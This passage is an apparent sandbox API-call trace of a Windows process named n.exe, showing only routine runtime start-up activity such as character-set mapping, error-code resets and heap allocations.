\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0127.153] GetLastError () returned 0x0 [0127.153] SetLastError (dwErrCode=0x0) [0127.153] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0127.154] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0127.154] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿፎ魴DĀ") returned 256 [0127.154] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿፎ魴DĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0127.154] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿፎ魴DĀ", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0127.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿØ\\rÐ\x9cþ\x18", lpUsedDefaultChar=0x0) returned 256 [0127.154] GetLastError () returned 0x0 [0127.154] SetLastError (dwErrCode=0x0) [0127.154] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0127.154] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿፎ魴DĀ") returned 256 [0127.154] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿፎ魴DĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0127.154] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿፎ魴DĀ", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0127.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿØ\\rÐ\x9cþ\x18", lpUsedDefaultChar=0x0) returned 256 [0127.154] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x4eb448, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0127.154] GetLastError () returned 0x0 [0127.154] SetLastError (dwErrCode=0x0) [0127.154] GetLastError () returned 0x0 [0127.154] SetLastError (dwErrCode=0x0) [0127.154] GetLastError () returned 0x0 [0127.154] SetLastError (dwErrCode=0x0) [0127.154] GetLastError () returned 0x0 [0127.154] SetLastError (dwErrCode=0x0) [0127.154] GetLastError () returned 0x0 [0127.154] SetLastError (dwErrCode=0x0) [0127.154] GetLastError () returned 0x0 [0127.154] SetLastError (dwErrCode=0x0) [0127.154] GetLastError () returned 0x0 [0127.155] SetLastError (dwErrCode=0x0) [0127.155] GetLastError () returned 0x0 [0127.155] SetLastError (dwErrCode=0x0) [0127.155] GetLastError () returned 0x0 [0127.155] SetLastError (dwErrCode=0x0) [0127.155] GetLastError () returned 0x0 [0127.155] SetLastError (dwErrCode=0x0) [0127.155] GetLastError () returned 0x0 [0127.155] SetLastError (dwErrCode=0x0) [0127.155] GetLastError () returned 0x0 [0127.155] SetLastError (dwErrCode=0x0) [0127.155] GetLastError () returned 0x0 [0127.155] SetLastError (dwErrCode=0x0) [0127.155] GetLastError () returned 0x0 [0127.155] SetLastError (dwErrCode=0x0) [0127.155] GetLastError () returned 0x0 [0127.155] SetLastError (dwErrCode=0x0) [0127.155] GetLastError () returned 0x0 [0127.155] SetLastError (dwErrCode=0x0) [0127.155] GetLastError () returned 0x0 [0127.155] SetLastError (dwErrCode=0x0) [0127.155] GetLastError () returned 0x0 [0127.155] SetLastError (dwErrCode=0x0) [0127.155] GetLastError () returned 0x0 [0127.155] SetLastError (dwErrCode=0x0) [0127.155] GetLastError () returned 0x0 [0127.156] SetLastError (dwErrCode=0x0) [0127.156] GetLastError () returned 0x0 [0127.156] SetLastError (dwErrCode=0x0) [0127.156] GetLastError () returned 0x0 [0127.156] SetLastError (dwErrCode=0x0) [0127.156] GetLastError () returned 0x0 [0127.156] SetLastError (dwErrCode=0x0) [0127.156] GetLastError () returned 0x0 [0127.156] SetLastError (dwErrCode=0x0) [0127.156] GetLastError () returned 0x0 [0127.156] SetLastError (dwErrCode=0x0) [0127.156] GetLastError () returned 0x0 [0127.156] SetLastError (dwErrCode=0x0) [0127.156] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x22) returned 0x5b19b0 [0127.156] GetLastError () returned 0x0 [0127.156] SetLastError (dwErrCode=0x0) [0127.156] GetLastError () returned 0x0 [0127.156] SetLastError (dwErrCode=0x0) [0127.156] GetLastError () returned 0x0 [0127.156] SetLastError (dwErrCode=0x0) [0127.156] GetLastError () returned 0x0 [0127.156] SetLastError (dwErrCode=0x0) [0127.156] GetLastError () returned 0x0 [0127.157] SetLastError (dwErrCode=0x0) [0127.157] GetLastError () returned 0x0 [0127.157] SetLastError (dwErrCode=0x0) [0127.157] GetLastError () returned 0x0 [0127.157] SetLastError (dwErrCode=0x0) [0127.157] GetLastError () returned 0x0 [0127.157] SetLastError (dwErrCode=0x0) [0127.157] GetLastError () returned 0x0 [0127.157] SetLastError (dwErrCode=0x0) [0127.157] GetLastError () returned 0x0 [0127.157] SetLastError (dwErrCode=0x0) [0127.157] GetLastError () returned 0x0 [0127.157] SetLastError (dwErrCode=0x0) [0127.157] GetLastError () returned 0x0 [0127.157] SetLastError (dwErrCode=0x0) [0127.157] GetLastError () returned 0x0 [0127.157] SetLastError (dwErrCode=0x0) [0127.157] GetLastError () returned 0x0 [0127.157] SetLastError (dwErrCode=0x0) [0127.157] GetLastError () returned 0x0 [0127.157] SetLastError (dwErrCode=0x0) [0127.157] GetLastError () returned 0x0 [0127.157] SetLastError (dwErrCode=0x0) [0127.157] GetLastError () returned 0x0 [0127.157] SetLastError (dwErrCode=0x0) [0127.158] GetLastError () returned 0x0 [0127.158] SetLastError (dwErrCode=0x0) [0127.158] GetLastError () returned 0x0 [0127.158] SetLastError (dwErrCode=0x0) [0127.158] GetLastError () returned 0x0 [0127.158] SetLastError (dwErrCode=0x0) [0127.158] GetLastError () returned 0x0 [0127.158] SetLastError (dwErrCode=0x0) [0127.158] GetLastError () returned 0x0 [0127.158] SetLastError (dwErrCode=0x0) [0127.158] GetLastError () returned 0x0 [0127.158] SetLastError (dwErrCode=0x0) [0127.158] GetLastError () returned 0x0 [0127.158] SetLastError (dwErrCode=0x0) [0127.158] GetLastError () returned 0x0 [0127.158] SetLastError (dwErrCode=0x0) [0127.158] GetLastError () returned 0x0 [0127.158] SetLastError (dwErrCode=0x0) [0127.158] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x9c) returned 0x5b19e0 [0127.158] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x1f) returned 0x5b1a88 [0127.158] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x36) returned 0x5b1ab0 [0127.158] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x37) returned 0x5b1af0 [0127.158] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x3c) returned 0x5b1b30 [0127.158] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x31) returned 0x5b1b78 [0127.158] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x17) returned 0x5b1bb8 [0127.158] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x24) returned 0x5b1bd8 [0127.158] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x14) returned 0x5b1c08 [0127.158] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0xd) returned 0x5b1c28 [0127.158] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x25) returned 0x5b1c40 [0127.158] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x39) returned 0x5b1c70 [0127.158] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x18) returned 0x5b1cb8 [0127.159] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x17) returned 0x5b1cd8 [0127.159] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0xe) returned 0x5b1cf8 [0127.159] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x69) returned 0x5b1d10 [0127.159] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x3e) returned 0x5b1d88 [0127.159] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x1b) returned 0x5b1dd0 [0127.159] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x1d) returned 0x5b1df8 [0127.159] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x48) returned 0x5b1e20 [0127.159] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x12) returned 0x5b1e70 [0127.159] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x18) returned 0x5b1e90 [0127.159] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x1b) returned 0x5b1eb0 [0127.159] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x24) returned 0x5b1ed8 [0127.159] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x29) returned 0x5b1f08 [0127.159] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x1e) returned 0x5b1f40 [0127.159] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x41) returned 0x5b1f68 [0127.159] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x17) returned 0x5b1fb8 [0127.159] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x14) returned 0x5b1fd8 [0127.159] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0xf) returned 0x5b1ff8 [0127.159] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x16) returned 0x5b2010 [0127.159] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x2a) returned 0x5b2030 [0127.159] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x29) returned 0x5b2068 [0127.159] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x15) returned 0x5b20a0 [0127.159] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x1e) returned 0x5b20c0 [0127.159] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x2a) returned 0x5b20e8 [0127.159] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x12) returned 0x5b2120 [0127.159] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x18) returned 0x5b2140 [0127.159] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x46) returned 0x5b2160 [0127.159] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5b11f8 | out: hHeap=0x5b0000) returned 1 [0127.159] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x762e0000 [0127.160] GetProcAddress (hModule=0x762e0000, lpProcName="IsProcessorFeaturePresent") returned 0x762f5235 [0127.160] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0127.161] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x800) returned 0x5b21b0 [0127.161] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x80) returned 0x5b11f8 [0127.161] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fee0 | out: lpSystemTimeAsFileTime=0x18fee0*(dwLowDateTime=0xd045db30, dwHighDateTime=0x1d595b2)) [0127.161] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x442a59) returned 0x0 [0127.188] RtlSizeHeap (HeapHandle=0x5b0000, Flags=0x0, MemoryPointer=0x5b11f8) returned 0x80 [0127.189] RtlSizeHeap (HeapHandle=0x5b0000, Flags=0x0, MemoryPointer=0x5b11f8) returned 0x80 [0127.189] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5b1280 [0127.189] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5b12a0 [0127.189] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x34) returned 0x5b12b0 [0127.189] RtlSizeHeap (HeapHandle=0x5b0000, Flags=0x0, MemoryPointer=0x5b11f8) returned 0x80 [0127.190] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5b12f0 [0127.190] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5b1300 [0127.190] GetLastError () returned 0x0 [0127.190] SetLastError (dwErrCode=0x0) [0127.190] GetLastError () returned 0x0 [0127.190] SetLastError (dwErrCode=0x0) [0127.190] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0xd8) returned 0x5b1320 [0127.190] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x355) returned 0x5b1400 [0127.190] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5b1400 | out: hHeap=0x5b0000) returned 1 [0127.190] GetLastError () returned 0x0 [0127.190] SetLastError (dwErrCode=0x0) [0127.190] GetLastError () returned 0x0 [0127.191] SetLastError (dwErrCode=0x0) [0127.191] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0xd8) returned 0x5b1400 [0127.191] GetLastError () returned 0x0 [0127.191] SetLastError (dwErrCode=0x0) [0127.191] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x355) returned 0x5b29b8 [0127.191] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5b29b8 | out: hHeap=0x5b0000) returned 1 [0127.191] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5b1320 | out: hHeap=0x5b0000) returned 1 [0127.191] GetLastError () returned 0x0 [0127.191] SetLastError (dwErrCode=0x0) [0127.191] GetLastError () returned 0x0 [0127.191] SetLastError (dwErrCode=0x0) [0127.191] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x200) returned 0x5b14e0 [0127.191] GetLastError () returned 0x0 [0127.191] SetLastError (dwErrCode=0x0) [0127.191] GetLastError () returned 0x0 [0127.191] SetLastError (dwErrCode=0x0) [0127.191] GetLastError () returned 0x0 [0127.192] SetLastError (dwErrCode=0x0) [0127.192] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0xd8) returned 0x5b1320 [0127.192] GetLastError () returned 0x0 [0127.192] SetLastError (dwErrCode=0x0) [0127.192] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x355) returned 0x5b29b8 [0127.192] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5b29b8 | out: hHeap=0x5b0000) returned 1 [0127.192] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5b1400 | out: hHeap=0x5b0000) returned 1 [0127.192] RtlSizeHeap (HeapHandle=0x5b0000, Flags=0x0, MemoryPointer=0x5b11f8) returned 0x80 [0127.193] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5b16e8 [0127.193] RtlSizeHeap (HeapHandle=0x5b0000, Flags=0x0, MemoryPointer=0x5b11f8) returned 0x80 [0127.194] RtlSizeHeap (HeapHandle=0x5b0000, Flags=0x0, MemoryPointer=0x5b11f8) returned 0x80 [0127.194] RtlSizeHeap (HeapHandle=0x5b0000, Flags=0x0, MemoryPointer=0x5b11f8) returned 0x80 [0127.195] RtlSizeHeap (HeapHandle=0x5b0000, 